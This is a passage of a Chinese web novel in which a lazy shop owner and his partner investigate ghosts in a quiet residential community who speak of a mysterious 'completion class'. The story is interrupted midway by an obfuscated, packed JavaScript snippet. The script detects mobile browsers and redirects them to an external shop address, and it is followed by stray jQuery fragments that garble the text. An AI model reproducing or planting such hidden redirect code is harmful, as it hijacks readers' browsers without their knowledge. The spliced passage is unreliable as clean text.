“魏老板您再打岔!”李凳吹胡子瞪眼。
“这些客人们的目的地都不同,所以在目的地上没有什么发现噻,这个老婆子要到之前闹过火灾的常乐公园外面嘛,结果绕着栏杆走了一阵子就直接站着不动了。”
“我寻思奇怪,就上前问‘大娘你咋个不回家,站在这里做啥子嘛’,她也看都不看我,说了句‘家?我已经圆满了’,这怪话说完才继续往前走。”
“我鸡皮疙瘩都起来咯,都是鬼咋她恁吓鬼,我就没继续跟了。”
“圆满了?”小林捏着下巴,“这啥意思。”
“谁知道呢。”李凳摇头,“不过认真想想这几个客人都会说怪话,语气都像背课文儿似的,什么‘执念已了,可以安心走了’,什么‘我真的解脱’之类的。”
魏渔和林走生对视一眼。
李凳又“灌”了口酒,像打开了话匣子般阐述:“还有啊,这几日我拉了个最奇怪的老鬼回家,虽然眼神也一样空洞但看整体的样子以前应该是教书的,上车和我说要回安宁社区。”
魏渔的右手食指在收银台上轻轻敲了一下。
“路上我和他搭话,问他是不是家就在安宁社区,结果他说......”李凳模仿着那种平静无波的语气,“说‘我参加了圆满课,了却生前遗憾’。”
“圆满课。”林走生重复着。
“对,我也问啥是圆满课,那老先生就笑了,哎哟那笑的,嘴角裂开,眼睛却一动不动,说‘所有徘徊者都将得到圆满’。”
李凳搓了搓手臂,继续说道:“他下车还特意对我说‘师傅,你也要放下你的执着了’。”
“然后呢?”
“然后就走咯,那走路姿势就和之前那些一样,整齐又僵硬。”李凳叹口气,“我越想越不对劲啊,于是再次决定跟上去看看,结果跟着跟着我看到三栋楼下站着两个人。”
“鬼保安?”
李凳讲得激昂起来:“不是鬼是人!跟门神一样杵在那,你们说一个几乎都是鬼的社区人站在那干啥呀。”
“说得也是。”林走生点头。
“而且我一靠近他们就瞪我,那眼神......啧啧,死了这么多年没见过这么凶的人。”
魏渔思索一阵:“这样说确实有点诡异了,毕竟人一直待在阴气很重的地方也不好。”
“是啊。”李凳把最后一口酒“喝”完:“魏老板,你说最近是不是要出什么事情啊?我这心里老是毛毛的。”
“你是鬼你也怕这些?”魏渔拿过已经空掉的酒瓶,用一个完美的抛物线送到垃圾桶里,“也许只是新型鬼魂心理辅导班。”
林走生闻言无奈:“这话说出来队长你自己都不信,嗯我在里面闻到了委托的味道。”
“辅导班?整跟邪教一样没人信哟。”李凳摆手嗤笑道,“鬼的辅导班咋的会出现什么活人,唉算了算了,我就一开车的,不应该多管........”
“看看时间也差不多噻,先走了啊魏老板,下次进一点新牌子的啤酒,这牌子我都要腻了!”
李凳又向魏渔推荐了几个新牌子后动作麻利地离开了,便利店很快恢复安静。
林走生皱起眉头:“队长,我怎么觉得他口中的老先生很像......”
“陈老师。”魏渔接话,“确实很像,不过也不能肯定。”
毕竟他确实到时间了还没来取走面包,按理来说装载着记忆的面包对他来说如此重要,应该不会被随意对待。
“老板,你说会不会是你那个委托人自己放下了,上了那什么‘圆满课’后突然想开于是就舍弃之前的执念了。”阿明听了半天故事终于说了几句话。
“你也是鬼你应该最清楚,执念要是这么容易就放下世上就不会有鬼了。”
“明天。”魏渔算了算时间,“不等到下班了,如果明天中午之前陈老师还没来,我们就送货上门。”
“但那里守着的怪人......”
“所以我们才要去。”魏渔流泪,感觉自己的工作量又莫须有的增加了。
“东西没交到手等于事情还没做完,没办法了,就当为了陈老师还没给的报酬吧。”
一整个上午魏渔都心不在焉的,队员找他讲话他也瞎应。
他这副模样倒不是担心谁的安危,而是怕如果一个上午过去陈老师还不来他就得和小林去找他了。
诶,他这种只想躺平的懒虫是真不想多做事,但这次如果委托物没有交到本人手上,别说本属于他们的正常报酬拿不到,秩序司那边的登记也会出现错误。
早知道就不管那个秩序司的人了,一点钱而已,果然还是自己太善良了还为小林着想。
魏渔淡淡后悔中,手机里正玩着的消消乐步数耗尽显示失败。
“队长你不吃午饭吗,已经十二点该去找陈老师了。”林走生凑过来看了看,善意提醒道。
“要不小林你去吧。”魏渔又重新开了一次关卡,“你队长好疲惫。”
“不行!队长你不能天天这样犯懒啊,那这样,你这关要是过了我们就一起去,没过就我自己去。”林走生提出了一个很无脑的提议。
魏渔眉毛抽了抽,想输不是轻而易举吗,小林还不如说他来玩,要是赢了自己就跟着去。
“那你准备好自己去吧。”人鬼小队队长此刻信心爆棚。
“......”
魏渔面如土色地和林走生一起站在了安宁社区的大门。
为什么故意想输的时候却能一步抵十步啊!!!
“我就知道队长不忍心看我一个人来。”林走生感动道。
安宁社区几乎没有活人,这一片很长时间都只有鬼在活动,而且都是年纪较大的老鬼,如果出现活人也是来取素材或者是某个鬼的在世亲人来给香火的。
如今虽是人鬼共处但并不等于契合,特别是对普通人而言。
不是所有死去的人都会变成鬼,死亡带来的分离也并非变成鬼了就可以忽视。
两人走进社区,一栋一栋白色的居民楼外墙斑驳,很明显好长时间都没人或鬼拿主意去修一修。
很安静,除了偶尔有几声鸟叫以外就没有其他声音了,地面枯叶很多,导致魏渔和走生的脚步“嘎吱嘎吱”特别响亮。
“好像没什么人气。”林走生边走边观察。
“本来就没有,感觉好阴森我想回去了。”魏渔又躲到了林走生背后,“为什么最近老是遇到这等事!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119643|195954||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“白天就没什么好怕的吧!”林走生吐槽,“如果还有活人住这儿的那肯定也是些不愿意离开旧宅的老人了。”
最靠近大门的是八栋,这里总共就只有八栋,看来陈老师所在的地点还在更里面一点。
三栋703,当时的委托单上陈老师是这样写的。
每栋楼下都有石桌石椅,而走到五栋附近的时候开始有鬼魂坐在上面。
都是老年鬼魂,没在聊天也没在做什么事情,他们只是在那齐刷刷地看着魏渔和林走生,眼神麻木又空洞,半透明的身躯落在魏渔的眼里竟出了些许的端倪。
没做过坏事没有流火很正常,但他们都是连一点善功都没有吗?
林走生看魏渔皱眉,他也好奇地往那几个老鬼看去,莫名起了一点鸡皮疙瘩。
“很容易就联想到那种传统恐怖片啊,要不去问问?问问他们是不是发生了什么。”
林走生要上前时被魏渔拽住了:“去问她吧。”
魏渔下巴轻轻朝前一扬,不远处在三栋的地方石桌有个穿碎花袄的老奶,正坐在那慢悠悠地织着不知是围巾还是衣服。
“呃?好吧,队长你上,我要锻炼你。”林走生看到魏渔畏手畏脚的样子就来气,他把魏渔从后方拽出来用力往前一推。
一个趔趄后的魏渔送给林走生一记眼刀。
“那什么,奶奶您好。”魏渔没过多挣扎,走上前不情愿地开口,“跟您打听个人,坐在这的话您应该是三栋的,三栋703的陈老师您可认识?”
“不认识。”老奶鬼的声音很混沌,她继续织着自己的东西头都没抬一下。
“以前教书的,据他登记......据他自己所说他还喜欢在楼下下棋呢。”林走生在一旁补充道,“教语文的老教师。”
老奶鬼终于停下了织物的动作,做出了思考的样子。
看似是思考,可在魏渔看来却像是单纯的放空。
片刻后毛衣针在她手上转了一圈,慢慢地摇了摇头:“不知道,兴许是想通了,自己走了吧。”
“走了?”魏渔又退到了林走生身后,“走去哪了。”
老奶鬼抬起眼,灰色的眼珠浑浊,也同那些鬼一样如一潭不起任何波澜的死水,她扫过两人的脸,语气竟有几分释然。
“还能去哪,该去哪,就去哪。”
说完她便收起了针和丝线站起身,头也不回的回到三栋居民楼内,楼梯没有脚步,一阵湿冷的风吹来,不一会儿老旧的单元门门锁关上,发出轻微的“咔哒”声。
“鬼也关门?”魏渔突然好奇。
“鬼不能关门吗?”林走生突然想攻击自己的队长,抬脚向三栋内部走去,“看来问是问不到什么了,但这里肯定发生了啥事,咱们直接去703吧。”
“不管发生啥都别大意。”魏渔左晃晃右晃晃地跟上,“凡事都要拘谨一点。”
“那是严谨。”
李凳当时看到的两个类似保安一样的活人并未见到,似乎是暂时没有守在这里。
楼道里很冷,比那晚还冷,明明还是白天,阳光却始终照不到这附近。
当初建造的方位就很差啊。
林走生裹了裹外套。